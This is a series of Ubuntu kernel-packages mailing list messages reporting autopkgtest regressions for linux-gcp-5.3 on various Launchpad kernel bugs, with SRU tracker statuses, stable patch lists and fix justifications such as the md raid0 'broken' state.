the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Testing phase-changed: Thursday, 24. October 2019 16:02 UTC proposed-announcement-sent: true proposed-testing-requested: true reason: automated-testing: Stalled -- testing FAILED certification-testing: Ongoing -- testing in progress regression-testing: Ongoing -- testing in progress security-signoff: Stalled -- waiting for signoff verification-testing: Ongoing -- testing in progress trackers: bionic/linux-hwe-edge: bug 1849063 eoan/linux-aws: bug 1849057 eoan/linux-azure: bug 1849058 eoan/linux-gcp: bug 1849060 eoan/linux-kvm: bug 1849061 eoan/linux-oracle: bug 1849062 eoan/linux-raspi2: bug 1849056 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1849064/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1850234] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1850234 Title: Fix signing of staging modules in eoan Status in linux package in Ubuntu: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: SRU Justification Impact: Staging drivers should not be signed, apart from a small list of selected modules in drivers/staging/signature-inclusion in the Ubuntu kernel source trees. Changes in eoan to the code which adds .gnu_debuglink sections and re-signs modules broke this, resulting in all staging modules being signed. Fix: Check for a signature on the module before adding the .gnu_debuglink section, and only sign the result if the original was signed. Test Case: Attached script which compares the built modules to the signature inclusion file and prints out any modules which are signed but not expected to be signed, and vice versa. Regression Potential: Unsigned modules cannot be loaded under lockdown, which is automatically enabled under secure boot. Some may have been using erroneously signed modules under secure boot and will no longer be able to do so. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1850234/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1850481] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1850481 Title: eoan/linux-gcp: 5.3.0-1007.7 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Fix Released Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Eoan: Confirmed Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1850486 packages: lrm: linux-restricted-modules-gcp main: linux-gcp meta: linux-meta-gcp signed: linux-signed-gcp phase: Holding before Promote to Updates phase-changed: Monday, 11. November 2019 10:42 UTC proposed-announcement-sent: true proposed-testing-requested: true trackers: bionic/linux-gcp-5.3: bug 1850967 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1850481/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1849060] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
*** This bug is a duplicate of bug 1850481 *** https://bugs.launchpad.net/bugs/1850481 All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1849060 Title: eoan/linux-gcp: 5.3.0-1006.6 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: In Progress Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Fix Released Status in Kernel SRU Workflow security-signoff series: In Progress Status in Kernel SRU Workflow verification-testing series: In Progress Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Eoan: Confirmed Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1850486 packages: lrm: linux-restricted-modules-gcp main: linux-gcp meta: linux-meta-gcp signed: linux-signed-gcp phase: Testing phase-changed: Friday, 25. October 2019 12:02 UTC proposed-announcement-sent: true proposed-testing-requested: true reason: automated-testing: Ongoing -- testing in progress certification-testing: Ongoing -- testing in progress security-signoff: Stalled -- waiting for signoff verification-testing: Ongoing -- testing in progress variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1849060/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848635] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1848635 Title: eoan/linux-gcp: 5.3.0-1005.5 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: Fix Released Status in Kernel SRU Workflow promote-to-updates series: Fix Released Status in Kernel SRU Workflow regression-testing series: Fix Released Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Eoan: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1848648 packages: lrm: linux-restricted-modules-gcp main: linux-gcp meta: linux-meta-gcp signed: linux-signed-gcp phase: Complete phase-changed: Tuesday, 22. October 2019 10:23 UTC proposed-announcement-sent: true proposed-testing-requested: true variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1848635/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1850486] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1850486 Title: eoan/linux: 5.3.0-21.22 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Fix Released Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Fix Released Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux package in Ubuntu: Invalid Status in linux source package in Eoan: Confirmed Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Holding before Promote to Updates phase-changed: Monday, 11. November 2019 10:41 UTC proposed-announcement-sent: true proposed-testing-requested: true trackers: bionic/linux-hwe-edge: bug 1850485 eoan/linux-aws: bug 1850477 eoan/linux-azure: bug 1850480 eoan/linux-gcp: bug 1850481 eoan/linux-kvm: bug 1850482 eoan/linux-oracle: bug 1850483 eoan/linux-raspi2: bug 1850896 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1850486/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848492] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848492 Title: Change Config Option CONFIG_MEMORY_HOTPLUG_DEFAULT_ONLINE for s390x from yes to no Status in Ubuntu on IBM z Systems: Fix Committed Status in linux package in Ubuntu: Fix Committed Status in linux source package in Bionic: Fix Committed Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: SRU Justification: == [Impact] * By default all standby memory that is configured to an LPAR is used at boot (IPL) time. * But the standby memory is meant to be added and used on demand later (after IPL). [Fix] * 0001-Ubuntu-Config-Disabled-CONFIG_MEMORY_HOTPLUG_DEFAULT.patch [Test Case] * Configure an LPAR in it's Activation Profile with a certain amount of 'Initial' memory and some 'Reserved' memory on top. * Re-activate the LPAR to make the changes take effect and boot (IPL) Ubuntu. * Check with the help of free whether the reported memory is only the initial memory (actual) or initial+reserved (desired). [Regression Potential] * There is a certain regression potential, since some systems may have Initial and Reserved memory already defined today and have it already all in use under Linux (today obviously w/o having it dynamically added). * If such a system got re-activated and rebooted, the memory size will then be what's defined as Initial memory and no longer Initial+Reserved. * To be able to use the same size of the memory than before, the Reserved memory need to be either dynamically be added or the Initial memory re-configured to the sum of former Initial+Reserved. * The latter case requires a re-activation of the LPAR, but since this corner case only happens after a reboot, a downtime is already in place for the re-activation. * But overall the regression potential is low since it's for s390x only and the 'Reserved' memory option in the Activation Profile is rarely used. [Other Info] * In the past this config option was diabled for ppc64el, too. __ The Ubuntu kernel configuration contains CONFIG_MEMORY_HOTPLUG_DEFAULT_ONLINE=y for s390. This causes all standby memory configured for an LPAR to be used at IPL time. Note that this is definetaly not what a user wants on s390. The normal process is: define a certain amount of "base" memory which the system should use when IPL'ed, and define also a certain amount of "standby" memory which can be (also only partially) be additionaly used when necessary. Also note that it is *not* possible to add additional memory to a runnung system, besides the amount of memory specified as "standby". Therefore please change the kernel config option CONFIG_MEMORY_HOTPLUG_DEFAULT_ONLINE to "n" for s390. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1848492/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848045] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848045 Title: Eoan update: v5.3.3 upstream stable release Status in linux package in Ubuntu: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.3.3 upstream stable release from git://git.kernel.org/ Linux 5.3.3 Revert "Linux 5.3.2" Linux 5.3.2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1848045/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848042] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848042 Title: Eoan update: v5.3.2 upstream stable release Status in linux package in Ubuntu: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.3.2 upstream stable release from git://git.kernel.org/ Linux 5.3.2 objtool: Clobber user CFLAGS variable platform/x86: i2c-multi-instantiate: Derive the device name from parent ALSA: hda - Apply AMD controller workaround for Raven platform ALSA: hda - Add laptop imic fixup for ASUS M9V laptop ALSA: dice: fix wrong packet parameter for Alesis iO26 ALSA: usb-audio: Add DSD support for EVGA NU Audio ALSA: usb-audio: Add Hiby device family to quirks for native DSD support Revert "mm/z3fold.c: fix race between migration and destruction" clk: imx: imx8mm: fix audio pll setting crypto: talitos - fix missing break in switch statement mtd: cfi_cmdset_0002: Use chip_good() to retry in do_write_oneword() HID: Add quirk for HP X500 PIXART OEM mouse HID: hidraw: Fix invalid read in hidraw_ioctl HID: logitech-dj: Fix crash when initial logi_dj_recv_query_paired_devices fails HID: logitech: Fix general protection fault caused by Logitech driver HID: sony: Fix memory corruption issue on cleanup. HID: prodikeys: Fix general protection fault during probe powerpc/xive: Fix bogus error code returned by OPAL drm/amd/display: readd -msse2 to prevent Clang from emitting libcalls to undefined SW FP routines drm/amd/display: Don't replace the dc_state for fast updates drm/amd/display: Skip determining update type for async updates drm/amd/display: Allow cursor async updates for framebuffer swaps clocksource/drivers: Do not warn on probe defer clocksource/drivers/timer-of: Do not warn on deferred probe netfilter: add missing IS_ENABLED(CONFIG_NF_TABLES) check to header-file. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1848042/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848046] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1)
for bionic have finished running.
The following regressions have been reported in tests triggered by the package:
linux-gcp-5.3/unknown (amd64)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-gcp-5.3
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1848046
Title:
Eoan update: v5.3.4 upstream stable release
Status in linux package in Ubuntu:
Fix Committed
Status in linux source package in Eoan:
Fix Committed
Bug description:
SRU Justification
Impact:
The upstream process for stable tree updates is quite similar
in scope to the Ubuntu SRU process, e.g., each patch has to
demonstrably fix a bug, and each patch is vetted by upstream
by originating either directly from a mainline/stable Linux tree or
a minimally backported form of that patch. The following upstream
stable patches should be included in the Ubuntu kernel:
v5.3.4 upstream stable release
from git://git.kernel.org/
Linux 5.3.4
platform/chrome: cros_ec_rpmsg: Fix race with host command when probe failed
mt76: mt7615: fix mt7615 firmware path definitions
mt76: mt7615: always release sem in mt7615_load_patch
md/raid0: avoid RAID0 data corruption due to layout confusion.
drm/amdgpu/display: fix 64 bit divide
drm/amd/display: Add missing HBM support and raise Vega20's uclk.
drm/amd/display: dce11.x /dce12 update formula input
drm/amd/display: Restore backlight brightness after system resume
CIFS: Fix oplock handling for SMB 2.1+ protocols
CIFS: fix max ea value size
i2c: riic: Clear NACK in tend isr
hwrng: core - don't wait on add_early_randomness()
quota: fix wrong condition in is_quota_modification()
ext4: fix punch hole for inline_data file systems
ext4: fix warning inside ext4_convert_unwritten_extents_endio
mtd: rawnand: stm32_fmc2: avoid warnings when building with W=1 option
ipmi: move message error checking to avoid deadlock
xfs: Fix stale data exposure when readahead races with hole punch
mm: Handle MADV_WILLNEED through vfs_fadvise()
fs: Export generic_fadvise()
/dev/mem: Bail out upon SIGKILL.
cfg80211: Purge frame registrations on iftype change
md: only call set_in_sync() when it is expected to succeed.
md: don't report active array_state until after revalidate_disk() completes.
md/raid6: Set R5_ReadError when there is read failure on parity disk
ACPI / LPSS: Save/restore LPSS private registers also on Lynxpoint
SUNRPC: Fix buffer handling of GSS MIC without slack
SUNRPC: Dequeue the request from the receive queue while we're re-encoding
btrfs: Fix a regression which we can't convert to SINGLE profile
Btrfs: fix race setting up and completing qgroup rescan workers
btrfs: qgroup: Fix reserved data space leak if we have multiple reserve calls
btrfs: qgroup: Fix the wrong target io_tree when freeing reserved data space
btrfs: adjust dirty_metadata_bytes after writeback failure of extent buffer
btrfs: Relinquish CPUs in btrfs_compare_trees
Btrfs: fix use-after-free when using the tree modification log
btrfs: fix allocation of free space cache v1 bitmap pages
ovl: filter of trusted xattr results in audit
ovl: Fix dereferencing possible ERR_PTR()
smb3: fix leak in "open on server" perf counter
smb3: fix unmount hang in open_shroot
smb3: allow disabling requesting leases
block: fix null pointer dereference in blk_mq_rq_timed_out()
block: mq-deadline: Fix queue restart handling
i40e: check __I40E_VF_DISABLE bit in i40e_sync_filters_subtask
ath10k: fix channel info parsing for non tlv target
rtw88: pci: Use DMA sync instead of remapping in RX ISR
rtw88: pci: Rearrange the memory usage for skb in RX ISR
KEYS: trusted: correctly initialize digests and fix locking issue
mt76: round up length on mt76_wr_copy
lib/lzo/lzo1x_compress.c: fix alignment bug in lzo-rle
memcg, kmem: do not fail __GFP_NOFAIL charges
memcg, oom: don't require __GFP_FS when invoking memcg OOM killer
mm/compaction.c: clear total_{migrate,free}_scanned before scanning a new zone
z3fold: fix memory leak in kmem cache
z3fold: fix retry mechanism in page reclaim
gfs2: clear buf_in_tr when ending a transaction in sweep_bh_for_rgrps
efifb: BGRT: Improve efifb_bgrt_sanity_check
regulator: Defer init completion for a while after late_initcall
iommu/vt-d: Fix wrong analysis whether devices share the same bus
alarmtimer: Use EOPNOTSUPP instead of ENOTSUPP
iommu/arm-smm
[Kernel-packages] [Bug 1847773] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1)
for bionic have finished running.
The following regressions have been reported in tests triggered by the package:
linux-gcp-5.3/unknown (amd64)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-gcp-5.3
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1847773
Title:
md raid0/linear doesn't show error state if an array member is removed
and allows successful writes
Status in linux package in Ubuntu:
Confirmed
Status in linux source package in Bionic:
Fix Committed
Status in linux source package in Disco:
Fix Committed
Status in linux source package in Eoan:
Fix Committed
Bug description:
[Impact]
* Currently, mounted raid0/md-linear arrays have no indication/warning
when one or more members are removed or suffer from some non-
recoverable error condition.
* Given that, arrays keep mounted, and regular written data to it goes
through page cache and appear as successful written to the devices,
despite writeback threads can't write to it. For users, it can
potentially cause data corruption, given that even "sync" command will
return success despite the data is not written to the disk. Kernel
messages will show I/O errors though.
* The patch proposed in this SRU addresses this issue in 2 levels;
first, it fast-fails written I/Os to the raid0/md-linear array devices
with one or more failed members. Also, it introduces the "broken"
state, which is analog to "clean" but indicates that array is not in a
good/correct state. A message showed in dmesg helps to clarify when
such array gets a member removed/failed.
* The commit proposed here, available on Linus tree as 62f7b1989c02
("md raid0/linear: Mark array as 'broken' and fail BIOs if a member is
gone") [http://git.kernel.org/linus/62f7b1989c02], was pretty
discussed upstream and received a good amount of reviews/analysis by
both the current md maintainer as well as an old maintainer.
* One important note here is that this patch requires a counter-part in mdadm
tool to be fully functional, which was SRUed in LP: #1847924.
It works fine without this counter-part, but in case of broken arrays, the
"mdadm --detail" command won't show broken, and instead will show "clean,
FAILED".
* We ask hereby an exception from kernel team to have this backported
to kernel 4.15 *only in Bionic* and not in Xenial. The reason is that
mdadm code changed too much and we didn't want to introduce a
potential regression in the Xenial version from that tool, so we only
backported the mdadm counter-part of this patch to Bionic, Disco and
Eoan - hence, we'd like to have a match in the kernel backported
versions.
[Test case]
* To test this patch, create a raid0 or linear md array on Linux using mdadm,
like in: "mdadm --create md0 --level=0 --raid-devices=2 /dev/nvme0n1
/dev/nvme1n1";
* Format the array using a filesystem of your choice (for example ext4) and
mount the array;
* Remove one member of the array, for example using sysfs interface
(for nvme: echo 1 > /sys/block/nvme0nX/device/device/remove, for scsi:
echo 1 > /sys/block/sdX/device/delete);
* Without this patch, the array partition can be written with success,
and "mdadm --detail" will show clean state.
[Regression potential]
* There's not much potential regression here; we failed written I/Os
to bad arrays and show message/status according to it, showing the
array broken status. We believe the most common "issue" that could be
reported from this patch is if an userspace tool rely on success of
I/O writes or in the "clean" state of an array - after this patch it
can potentially have a different behavior in case of a broken array.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1847773/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1846704] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1846704 Title: Enable the Dragonboards out of Eoan/master arm64 kernel Status in linux package in Ubuntu: Fix Released Bug description: [Impact] Upstream has good support for Qcom Snapdragon SOCs, so enable the Dragonboards out of it, isolating all the changes in a 'snapdragon' flavour. [Fix] Apply the packaging and config changes in the pull request. [How to test] Boot the resulting kernel on the db410c / db820c boards. [Regression potential] No code changes are involved: it's all config work and everything has been isolated into its own 'snapdragon' flavour. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1846704/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847641] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1847641 Title: fdatasync performance regression on 5.0 kernels Status in linux package in Ubuntu: Fix Committed Status in linux-gke-5.0 package in Ubuntu: Invalid Status in linux-gke-5.0 source package in Bionic: Fix Released Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Status in linux-gke-5.0 source package in Eoan: Invalid Bug description: More info in salesforce: https://canonical.my.salesforce.com/5003z20tIcX To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1847641/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : 